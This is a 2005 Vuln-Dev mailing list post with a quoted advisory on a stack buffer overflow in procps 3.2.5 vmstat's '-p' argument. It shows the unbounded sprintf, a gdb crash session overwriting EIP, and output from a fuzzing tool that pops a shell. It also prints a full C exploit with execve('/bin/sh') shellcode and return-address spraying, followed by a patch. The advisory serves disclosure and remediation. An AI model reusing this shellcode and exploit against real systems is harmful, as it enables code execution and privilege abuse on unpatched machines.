Vulnerability Development mailing list archives

Re: procps (vmstat) -p argument stack overflow


From: Carlos Carvalho <h4sh () globo com>
Date: Tue, 17 May 2005 14:29:31 -0300

Or you can use my tool:

-= flawseeker.pl v3.0 =-
-= Written by nuTshell =-


Logging turned Off
[1] Filename [ /tmp/procteste/usr/bin/vmstat ]
[2] Type [ 1 ]
[3] Command line arguments [ -p   ]
[4] Buffer Limit, default 1500 [ 1500 ]
[5] Adjacent buffer [  ]
[6] Environment variable name [  ]
[7] Start:End integer value [  ]


       Filling up /tmp/procteste/usr/bin/vmstat`s buffer with 0x41 (A`s)
       until we get SIGSEGV, if progress bar stop try ctrl+c.
       Wait...
[-> Done!
/tmp/procteste/usr/bin/vmstat is vulnerable at 28 bytes!
Debug n/Y> y


[!] Status at 32 bytes:


esp            0xbffff850       0xbffff850
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0xbffff894       -1073743724
eip            0x42424242       0x42424242


Hmmm 0x42424242! Hack it y/N>y
Partition was not found
sh-2.05b$ id
uid=1000(nutshell) gid=100(nutshell) groups=100(users),106(nutshell)
sh-2.05b$ exit
exit
nutshell@scarface:~$


10x to Alejandro for pointing me vmstat bug.

A. Alejandro Hernández wrote:
Product: PROCPS The /proc file system utilities (vmstat)
URL Vendor: http://procps.sourceforge.net/
Affected version: 3.2.5
Error Type: Boundary Condition Error
Risk: Low [ But high if vmstat is a suid binary ]
Tested on: Ubuntu Linux 2.6.8.1-3-386
Author: A. Alejandro Hernández Hernández <nitrous () danitrous org>
Date: 16-05-2005
Advisory URL: http://www.danitrous.org/code/PoCs/vmstat_adv.txt
Proof Of Concept: See below or http://www.danitrous.org/code/PoCs/vmstat_p0c.c




0x01.- Description
Procps is the package that has a bunch of small useful utilities that give information about processes using the /proc filesystem. The package includes the programs ps, top, vmstat, w,
kill, free, slabtop, and skill.

The vulnerable program is vmstat, variable: 'partition'. An attacker could crash this buffer and jump into his arbitrary code [shellcode] and change the program execution flow.




0x02.- Vulnerable code
/procps-3.2.5/vmstat.c [ line: 611 ]
...
607:    case 'p':
608:        statMode |= PARTITIONSTAT;
609:        if (argv[1]){
610:            ++argv;
611:            sprintf(partition, "%s", *argv);
612:        }else{fprintf(stderr, "-p requires an argument\n");
613:            exit(EXIT_FAILURE);
614:        }
615:    break;
...




0x03.- Analysis
nitrous@blackb0x:~/vuln-dev/procps-3.2.5 $ gdb -q ./vmstat
(gdb) r -p `perl -e ' print "A"x24;'`
Starting program: /home/nitrous/vuln-dev/procps-3.2.5/vmstat -p `perl -e ' print "A"x24;'`
Partition was not found

Program exited normally.
(gdb) r -p `perl -e ' print "A"x28;'`
Starting program: /home/nitrous/vuln-dev/procps-3.2.5/vmstat -p `perl -e ' print "A"x28;'`
Partition was not found

Program received signal SIGSEGV, Segmentation fault.
0x40047704 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) r -p `perl -e ' print "A"x32;'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/nitrous/vuln-dev/procps-3.2.5/vmstat -p `perl -e ' print "A"x32;'`
Partition was not found

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $ebp $eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb)




0x04.- Proof Of Concept (exploit)
/*
VULNERABLE PROGRAM:
--=[ procps 3.2.5 vmstat '-p' argument stack overflow
--=[ http://procps.sourceforge.net/
--=[ Advisory: http://www.danitrous.org/code/PoCs/vmstat_adv.txt

EXPLOIT:
--=[ Local env exploit [no suid] by nitrous <nitrous () danitrous org>
--=[ Tested on Ubuntu Linux 2.6.8.1-3-386

nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ gcc vmstat-p0c.c -o vmstat-p0c
nitrous@blackb0x:~/vuln-dev/nitrous/XPLOITS $ ./vmstat-p0c
-=[ Jumping to: 0xbfffffc9

Partition was not found
sh-2.05b$ id
uid=1000(nitrous) gid=1000(nitrous)

--=[ greets to www.vulnfact.com, dr_fdisk^, CRAc, beck, ran, dymitri,
              dex, benn, cryogen, JSS... blah blah blah.
*/

#include<stdio.h>
#include<string.h>

#define BUFFER_SIZE     32
#define    VMSTAT_PATH    "/usr/bin/vmstat"

char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh";  //jmp-call execve()

int main()
{
       char *payl0ad= (char *)malloc(BUFFER_SIZE);
       char *envir0n[2]= {nitrous_egg,NULL};

unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

    printf("-=[ Jumping to: 0x%x\n\n", retaddr);

       int x;
       for(x=0; x<BUFFER_SIZE; x+=4)
        *(unsigned long *)&payl0ad[x]= retaddr;

    execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);

    return 0;
}




0x05.- Patch
...
    case 'p':
        statMode |= PARTITIONSTAT;
        if (argv[1]){
            ++argv;
            if(strlen(*argv) > 15 ){
                fprintf(stderr,"Long partition name (>15 chars)\n");
                exit(-1);
            }
            sprintf(partition, "%s", *argv);
        }else{fprintf(stderr, "-p requires an argument\n");
            exit(EXIT_FAILURE);
        }
    break;
...




--

Time is nature's way of making sure that everything doesn't happen at
once.
-
SlackWare user #349702


Current thread: